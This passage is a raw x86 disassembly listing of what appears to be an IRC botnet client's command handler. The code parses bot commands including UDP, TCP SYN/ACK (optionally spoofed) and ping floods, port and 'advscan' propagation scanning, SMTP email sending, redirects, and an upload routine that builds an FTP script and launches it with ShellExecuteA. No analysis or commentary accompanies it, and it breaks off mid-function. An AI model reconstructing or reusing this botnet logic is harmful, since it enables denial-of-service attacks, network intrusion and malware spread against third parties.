add esp, 44h
lea eax, [ebp+var_2C0]
push ebx
push 10h
push eax
call sub_40B254
add esp, 0Ch
mov [ebp+var_34A8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36AC]
push ebx
push eax
push offset sub_4143F3
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_34A8]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_4067DB
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset dword_42D1D0
jmp loc_407EF2
; ---------------------------------------------------------------------------
loc_4067D3: ; CODE XREF: sub_401AA1+4D40j
push 32h
call dword_428080 ; Sleep
loc_4067DB: ; CODE XREF: sub_401AA1+4D1Fj
cmp [ebp+var_349C], ebx
jz short loc_4067D3
jmp loc_407F01
; ---------------------------------------------------------------------------
loc_4067E8: ; CODE XREF: sub_401AA1+4C5Aj
push [ebp+arg_8]
push offset aPhatwonk ; "phatwonk"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407C46
push [ebp+arg_8]
push offset aWonk ; "wonk"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407C46
push [ebp+arg_8]
push offset aDdrs ; "ddrs"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407B0C
push [ebp+arg_8]
push offset aG3t ; "g3t"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407B0C
push [ebp+arg_8]
push offset aRedirect ; "redirect"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407A13
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407A13
push [ebp+arg_8]
push offset aScan ; "scan"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40792C
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40792C
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407857
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407857
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407745
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407745
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_1C], eax
jz loc_401F20
push [ebp+arg_8]
push offset aPortscan ; "portscan"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407640
push [ebp+arg_8]
push offset aPsc ; "psc"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407640
push [ebp+arg_8]
push offset aAsc ; "asc"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407168
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407168
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407049
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407049
push [ebp+arg_8]
push offset aU ; "u"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407049
push [ebp+arg_8]
push offset aNetsend ; "netsend"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_406F3B
push [ebp+arg_8]
push offset aNs ; "ns"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_406F3B
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_406E15
push [ebp+arg_8]
push offset aPing_0 ; "ping"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_406E15
push [ebp+arg_8]
push offset aP ; "p"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_406E15
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_406C53
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_406C53
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_406BFB
lea eax, [ebp+var_46F0]
push edi
push eax
call sub_41C520
push [ebp+arg_18]
call sub_41BDE9
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_438C]
push eax
call sub_41C520
push [ebp+arg_1C]
lea eax, [ebp+var_458C]
push eax
call sub_41C520
push offset asc_42F5E8 ; " "
push offset dword_42DB48
push [ebp+esi+var_7C]
call sub_418584
push eax
lea eax, [ebp+var_408C]
push eax
call sub_41C520
add esp, 30h
lea eax, [ebp+var_528C]
push eax
push 101h
call dword_4CE278 ; WSAStartup
lea eax, [ebp+var_46F0]
push eax
call dword_4CE38C ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_4CE388 ; socket
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4CE308 ; ntohs
mov [ebp+var_31A], ax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_458C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_568C]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41BEF6
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4CE2B0 ; connect
mov edi, 100h
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4CE320 ; recv
lea eax, [ebp+var_448C]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_568C]
push eax
push esi
call dword_4CE358 ; send
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4CE320 ; recv
push esi
call dword_4CE3A0 ; closesocket
call dword_4CE260 ; WSACleanup
lea eax, [ebp+var_458C]
push eax
push offset unk_42D094
loc_406BB4: ; CODE XREF: sub_401AA1+2E32j
; sub_401AA1+6551j ...
lea eax, [ebp+var_2C0]
loc_406BBA: ; CODE XREF: sub_401AA1+6859j
push eax
call sub_41BEF6
loc_406BC0: ; CODE XREF: sub_401AA1+23EEj
add esp, 0Ch
loc_406BC3: ; CODE XREF: sub_401AA1+4465j
; sub_401AA1+44BFj ...
cmp [ebp+var_8], ebx
jnz short loc_406BE4
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 14h
loc_406BE4: ; CODE XREF: sub_401AA1+2941j
; sub_401AA1+2956j ...
mov esi, [ebp+arg_24]
loc_406BE7: ; CODE XREF: sub_401AA1+8FBj
; sub_401AA1+76B0j ...
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
pop ecx
mov eax, esi
jmp loc_401F23
; ---------------------------------------------------------------------------
loc_406BFB: ; CODE XREF: sub_401AA1+4FBDj
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_406C25
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_4071BA
loc_406C25: ; CODE XREF: sub_401AA1+516Bj
push [ebp+esi+var_7C]
push [ebp+arg_1C]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_41BDE9
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_410D8B
jmp loc_409564
; ---------------------------------------------------------------------------
loc_406C53: ; CODE XREF: sub_401AA1+4F8Fj
; sub_401AA1+4FA6j
mov esi, 80h
push edi
lea eax, [ebp+var_1358]
push esi
push eax
call sub_41BFF0
lea eax, [ebp+var_1358]
push eax
push offset aSyn ; "syn"
call sub_41C6E0
add esp, 14h
test eax, eax
jz short loc_406CB6
lea eax, [ebp+var_1358]
push eax
push offset aAck ; "ack"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_406CB6
lea eax, [ebp+var_1358]
push eax
push offset aRandom_0 ; "random"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_406CB6
push offset unk_42D04C
jmp loc_406DDD
; ---------------------------------------------------------------------------
loc_406CB6: ; CODE XREF: sub_401AA1+51DBj
; sub_401AA1+51F2j ...
push [ebp+arg_1C]
call sub_41BDE9
cmp eax, ebx
pop ecx
mov [ebp+var_1250], eax
jle loc_406DD8
push edi
lea eax, [ebp+var_1358]
push esi
push eax
call sub_41BFF0
push [ebp+arg_18]
lea eax, [ebp+var_13D8]
push esi
push eax
call sub_41BFF0
push [ebp+arg_0]
call sub_41BDE9
mov [ebp+var_1254], eax
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_124C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13DC], eax
lea eax, [ebp+var_12D8]
push esi
push eax
call sub_41BFF0
mov eax, [ebp+var_4]
add esp, 28h
cmp [ebp+var_124C], ebx
mov [ebp+var_1248], eax
mov eax, [ebp+var_8]
mov [ebp+var_1244], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406D4D
mov eax, offset aNormal ; "Normal"
loc_406D4D: ; CODE XREF: sub_401AA1+52A5j
push [ebp+arg_1C]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset unk_42D008
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41BFF0
push ebx
lea eax, [ebp+var_2C0]
push 14h
push eax
call sub_40B254
add esp, 2Ch
mov [ebp+var_1258], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13DC]
push ebx
push eax
push offset sub_414BED
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_1258]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_406DCE
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42CFD0
jmp loc_404968
; ---------------------------------------------------------------------------
loc_406DC6: ; CODE XREF: sub_401AA1+5333j
push 32h
call dword_428080 ; Sleep
loc_406DCE: ; CODE XREF: sub_401AA1+5312j
cmp [ebp+var_1240], ebx
jz short loc_406DC6
jmp short loc_406DEB
; ---------------------------------------------------------------------------
loc_406DD8: ; CODE XREF: sub_401AA1+5226j
push offset unk_42CF98
loc_406DDD: ; CODE XREF: sub_401AA1+1F74j
; sub_401AA1+1F8Aj ...
lea eax, [ebp+var_2C0]
loc_406DE3: ; CODE XREF: sub_401AA1+4341j
push eax
call sub_41BEF6
pop ecx
pop ecx
loc_406DEB: ; CODE XREF: sub_401AA1+20A5j
; sub_401AA1+2EADj ...
cmp [ebp+var_8], ebx
jnz loc_402399
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_406E08: ; CODE XREF: sub_401AA1+2364j
call sub_409743
add esp, 14h
jmp loc_402399
; ---------------------------------------------------------------------------
loc_406E15: ; CODE XREF: sub_401AA1+4F4Aj
; sub_401AA1+4F61j ...
cmp dword_4CE3F4, ebx
jnz loc_406F20
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_FF8], eax
mov eax, [ebp+var_4]
mov [ebp+var_FFC], eax
lea eax, [ebp+var_1090]
push edi
push eax
call sub_41BC60
push [ebp+arg_18]
call sub_41BDE9
push [ebp+arg_0]
mov [ebp+var_1010], eax
call sub_41BDE9
push [ebp+arg_1C]
mov [ebp+var_100C], eax
call sub_41BDE9
push 7Fh
mov [ebp+var_1008], eax
push [ebp+var_88]
lea eax, [ebp+var_1110]
push eax
call sub_41BC60
push [ebp+var_1008]
mov eax, [ebp+arg_4]
mov [ebp+var_1114], eax
lea eax, [ebp+var_1090]
push [ebp+var_100C]
push eax
lea eax, [ebp+var_2C0]
push [ebp+var_1010]
push offset unk_42CF50
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 16h
push eax
call sub_40B254
add esp, 48h
mov [ebp+var_1000], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1114]
push ebx
push eax
push offset sub_414050
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_1000]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_406F13
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42CF14
jmp loc_404968
; ---------------------------------------------------------------------------
loc_406F0B: ; CODE XREF: sub_401AA1+5478j
push 32h
call dword_428080 ; Sleep
loc_406F13: ; CODE XREF: sub_401AA1+5457j
cmp [ebp+var_FF4], ebx
jz short loc_406F0B
jmp loc_406DEB
; ---------------------------------------------------------------------------
loc_406F20: ; CODE XREF: sub_401AA1+537Aj
push 1FFh
lea eax, [ebp+var_2C0]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41BC60
jmp loc_404974
; ---------------------------------------------------------------------------
loc_406F3B: ; CODE XREF: sub_401AA1+4F1Cj
; sub_401AA1+4F33j
push [ebp+arg_18]
lea eax, [ebp+var_2C0]
push edi
push [ebp+arg_0]
push offset unk_42CEC0
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
push [ebp+arg_0]
call sub_41B650
push [ebp+arg_18]
mov edi, eax
call sub_41B650
push [ebp+arg_20]
add edi, eax
call sub_41B650
push [ebp+arg_8]
add edi, eax
call sub_41B650
add eax, [ebp+var_C]
push [ebp+arg_1C]
lea eax, [eax+edi+7]
push eax
call sub_41BF70
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41BDE9
mov edi, [ebp+arg_20]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_10], ebx
jle short loc_407035
loc_406FBE: ; CODE XREF: sub_401AA1+5541j
push [ebp+arg_C]
push [ebp+arg_18]
push edi
call sub_418C2F
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_20], eax
jz short loc_406FE6
cmp eax, ebx
jnz short loc_407005
inc [ebp+arg_10]
mov eax, [ebp+arg_10]
cmp eax, [ebp+arg_14]
jl short loc_406FBE
jmp short loc_40703E
; ---------------------------------------------------------------------------
loc_406FE6: ; CODE XREF: sub_401AA1+5532j
push ebx
push [ebp+var_4]
push offset unk_42CE88
loc_406FEF: ; CODE XREF: sub_401AA1+55A6j
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 14h
jmp loc_4071BA
; ---------------------------------------------------------------------------
loc_407005: ; CODE XREF: sub_401AA1+5536j
push [ebp+arg_20]
lea eax, [ebp+var_2C0]
push offset unk_42CE54
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 20h
loc_407035: ; CODE XREF: sub_401AA1+551Bj
cmp [ebp+arg_20], ebx
jnz loc_4071BA
loc_40703E: ; CODE XREF: sub_401AA1+5543j
push ebx
push [ebp+var_4]
push offset unk_42CE20
jmp short loc_406FEF
; ---------------------------------------------------------------------------
loc_407049: ; CODE XREF: sub_401AA1+4ED7j
; sub_401AA1+4EEEj ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_C68], eax
mov eax, [ebp+var_4]
mov [ebp+var_C6C], eax
lea eax, [ebp+var_D00]
push edi
push eax
call sub_41BC60
push [ebp+arg_18]
call sub_41BDE9
push [ebp+arg_0]
mov [ebp+var_C80], eax
call sub_41BDE9
push [ebp+arg_1C]
mov [ebp+var_C7C], eax
call sub_41BDE9
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C78], eax
jz short loc_4070AE
push esi
call sub_41BDE9
pop ecx
mov [ebp+var_C74], eax
jmp short loc_4070B4
; ---------------------------------------------------------------------------
loc_4070AE: ; CODE XREF: sub_401AA1+55FCj
mov [ebp+var_C74], ebx
loc_4070B4: ; CODE XREF: sub_401AA1+560Bj
push 7Fh
lea eax, [ebp+var_D80]
push [ebp+var_88]
push eax
call sub_41BC60
push [ebp+var_C78]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_D00]
mov [ebp+var_D84], esi
push [ebp+var_C7C]
push eax
lea eax, [ebp+var_2C0]
push [ebp+var_C80]
push offset unk_42CDD8
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 17h
push eax
call sub_40B254
add esp, 30h
mov [ebp+var_C70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D84]
push ebx
push eax
push offset sub_4141DC
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_C70]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_40715B
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42CD9C
jmp loc_407EF2
; ---------------------------------------------------------------------------
loc_407153: ; CODE XREF: sub_401AA1+56C0j
push 32h
call dword_428080 ; Sleep
loc_40715B: ; CODE XREF: sub_401AA1+569Fj
cmp [ebp+var_C64], ebx
jz short loc_407153
jmp loc_407F01
; ---------------------------------------------------------------------------
loc_407168: ; CODE XREF: sub_401AA1+4EA9j
; sub_401AA1+4EC0j
push 0Bh
call sub_40B496
push [ebp+arg_18]
mov [ebp+arg_10], eax
call sub_41BDE9
add eax, [ebp+arg_10]
pop ecx
pop ecx
cmp eax, 320h
jle loc_407331
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
push offset dword_42CD38
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 20h
loc_4071BA: ; CODE XREF: sub_401AA1+517Ej
; sub_401AA1+555Fj ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401F20
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_409567
push 4
push esi
call sub_416EA7
pop ecx
test eax, eax
pop ecx
jnz short loc_407205
push esi
push offset dword_42CCF0
loc_4071F1: ; CODE XREF: sub_401AA1+78E2j
lea eax, [ebp+var_2C0]
push eax
call sub_41BEF6
add esp, 0Ch
jmp loc_403F34
; ---------------------------------------------------------------------------
loc_407205: ; CODE XREF: sub_401AA1+5748j
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
pop ecx
call sub_41BF52
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41BF52
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41BF52
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_50FC]
push edx
push eax
lea eax, [ebp+var_2E5C]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41BEF6
lea eax, [ebp+var_2E5C]
push offset aAb ; "ab"
push eax
call sub_41BB32
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_401F20
push esi
push [ebp+arg_1C]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41C476
push [ebp+arg_24]
call sub_41B6CB
lea eax, [ebp+var_2E5C]
push eax
lea eax, [ebp+var_4CF8]
push offset dword_42CCB0
push eax
call sub_41BEF6
add esp, 2Ch
lea eax, [ebp+var_4CF8]
push ebx
push ebx
push eax
push offset dword_42CCA8
push offset aOpen ; "open"
push ebx
call dword_4CE274 ; ShellExecuteA
push edi
push esi
test eax, eax
jz short loc_4072CF
push offset dword_42CC58
jmp short loc_4072D4
; ---------------------------------------------------------------------------
loc_4072CF: ; CODE XREF: sub_401AA1+5825j
push offset dword_42CBF8
loc_4072D4: ; CODE XREF: sub_401AA1+582Cj
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4072FD
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 14h
loc_4072FD: ; CODE XREF: sub_401AA1+583Ej
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
jmp short loc_407317
; ---------------------------------------------------------------------------
loc_40730B: ; CODE XREF: sub_401AA1+5889j
lea eax, [ebp+var_2E5C]
push eax
call sub_41C44C
loc_407317: ; CODE XREF: sub_401AA1+5868j
lea eax, [ebp+var_2E5C]
push 4
push eax
call sub_416EA7
add esp, 0Ch
test eax, eax
jnz short loc_40730B
jmp loc_401F20
; ---------------------------------------------------------------------------
loc_407331: ; CODE XREF: sub_401AA1+56E3j
push edi
call sub_41BDE9
push [ebp+arg_18]
mov [ebp+var_370], eax
call sub_41BDE9
push [ebp+arg_0]
mov [ebp+var_358], eax
call sub_41BDE9
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_40736A
push 5
pop eax
mov [ebp+var_36C], eax
loc_40736A: ; CODE XREF: sub_401AA1+58BEj
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_407377
mov [ebp+var_36C], ecx
loc_407377: ; CODE XREF: sub_401AA1+58CEj
push [ebp+arg_1C]
call sub_41BDE9
cmp eax, 320h
pop ecx
mov [ebp+var_368], eax
jbe short loc_407397
mov [ebp+var_368], 320h
loc_407397: ; CODE XREF: sub_401AA1+58EAj
or [ebp+var_354], 0FFFFFFFFh
cmp dword_434058, ebx
mov [ebp+arg_10], ebx
jz short loc_4073ED
mov [ebp+arg_24], offset dword_434058
loc_4073B0: ; CODE XREF: sub_401AA1+592Ej
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_4073D3
add [ebp+arg_24], 40h
inc [ebp+arg_10]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_4073B0
jmp short loc_4073ED
; ---------------------------------------------------------------------------
loc_4073D3: ; CODE XREF: sub_401AA1+5920j
mov eax, [ebp+arg_10]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_434058[ecx]
mov [ebp+var_370], ecx
loc_4073ED: ; CODE XREF: sub_401AA1+5906j
; sub_401AA1+5930j
cmp [ebp+var_370], ebx
jnz short loc_4073FF
push offset dword_42CBA0
jmp loc_406DDD
; ---------------------------------------------------------------------------
loc_4073FF: ; CODE XREF: sub_401AA1+5952j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_40743A
cmp byte ptr [edi], 23h
jz short loc_40743A
push edi
lea eax, [ebp+var_484]
push 10h
push eax
call sub_41BFF0
push 78h
push edi
call sub_41C620
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_407514
; ---------------------------------------------------------------------------
loc_40743A: ; CODE XREF: sub_401AA1+5967j
; sub_401AA1+596Cj
cmp [ebp+var_8FF], bl
jnz short loc_40745C
cmp [ebp+var_8FE], bl
jnz short loc_40745C
cmp [ebp+var_8EE], bl
jnz short loc_40745C
push offset dword_42CB48
jmp loc_406DDD
; ---------------------------------------------------------------------------
loc_40745C: ; CODE XREF: sub_401AA1+599Fj
; sub_401AA1+59A7j ...
push 10h
lea eax, [ebp+var_2D8]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D8], edi
push [ebp+arg_4]
call dword_4CE2AC ; getsockname
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4]
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_484]
push eax
call sub_41BC60
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40750E
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax
call sub_41C4B0
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_407502
loc_4074E0: ; CODE XREF: sub_401AA1+5A5Fj
cmp eax, ebx
jz short loc_407502
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h
push eax
call sub_41C4B0
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_4074E0
loc_407502: ; CODE XREF: sub_401AA1+5A3Dj
; sub_401AA1+5A41j
mov [ebp+var_344], 1
jmp short loc_407514
; ---------------------------------------------------------------------------
loc_40750E: ; CODE XREF: sub_401AA1+5A17j
mov [ebp+var_344], ebx
loc_407514: ; CODE XREF: sub_401AA1+5994j
; sub_401AA1+5A6Bj
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi
push eax
call sub_41BFF0
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_407565
loc_407552: ; CODE XREF: sub_401AA1+5AE7j
push esi
loc_407553: ; CODE XREF: sub_401AA1+5AD1j
lea eax, [ebp+var_3F4]
push edi
push eax
call sub_41BFF0
add esp, 0Ch
jmp short loc_407590
; ---------------------------------------------------------------------------
loc_407565: ; CODE XREF: sub_401AA1+5AAFj
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_407574
cmp byte ptr [eax], 23h
jnz short loc_407574
push eax
jmp short loc_407553
; ---------------------------------------------------------------------------
loc_407574: ; CODE XREF: sub_401AA1+5AC9j
; sub_401AA1+5ACEj
mov esi, offset asc_42AAA4 ; "#l"
push offset byte_4404C4
push esi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_407552
mov [ebp+var_3F4], bl
loc_407590: ; CODE XREF: sub_401AA1+5AC2j
cmp [ebp+var_344], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4075A2
mov eax, offset aSequential ; "Sequential"
loc_4075A2: ; CODE XREF: sub_401AA1+5AFAj
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+var_2C0]
push offset dword_42CAA0
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 0Bh
push eax
call sub_40B254
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset sub_40C485
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_407633
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset dword_42CA48
jmp loc_404968
; ---------------------------------------------------------------------------
loc_40762B: ; CODE XREF: sub_401AA1+5B98j
push 32h
call dword_428080 ; Sleep
loc_407633: ; CODE XREF: sub_401AA1+5B77j
cmp [ebp+var_340], ebx
jz short loc_40762B
jmp loc_406DEB
; ---------------------------------------------------------------------------
loc_407640: ; CODE XREF: sub_401AA1+4E7Bj
; sub_401AA1+4E92j
push edi
call sub_40A7C5
push [ebp+arg_18]
mov [ebp+var_4E0], eax
call sub_41BDE9
push [ebp+arg_0]
mov [ebp+var_4F0], eax
call sub_41BDE9
push [ebp+arg_1C]
mov [ebp+var_4EC], eax
call sub_41BDE9
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax
call sub_41BC60
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_2C0]
push offset dword_42C9C0
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 0Bh
push eax
call sub_40B254
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset sub_40C931
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_407738
loc_40771F: ; CODE XREF: sub_401AA1+5F55j
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset dword_42C958
jmp loc_403DDD
; ---------------------------------------------------------------------------
loc_407730: ; CODE XREF: sub_401AA1+5C9Dj
push 32h
call dword_428080 ; Sleep
loc_407738: ; CODE XREF: sub_401AA1+5C7Cj
cmp [ebp+var_4D0], ebx
jz short loc_407730
jmp loc_403DEC
; ---------------------------------------------------------------------------
loc_407745: ; CODE XREF: sub_401AA1+4E3Ej
; sub_401AA1+4E55j
push edi
call sub_41BDE9
imul eax, 234h
pop ecx
cmp byte_441260[eax], bl
jz loc_409567
cmp [ebp+var_C], ebx
jz loc_409567
push [ebp+arg_18]
call sub_41B650
push edi
mov esi, eax
call sub_41B650
push [ebp+arg_8]
add esi, eax
call sub_41B650
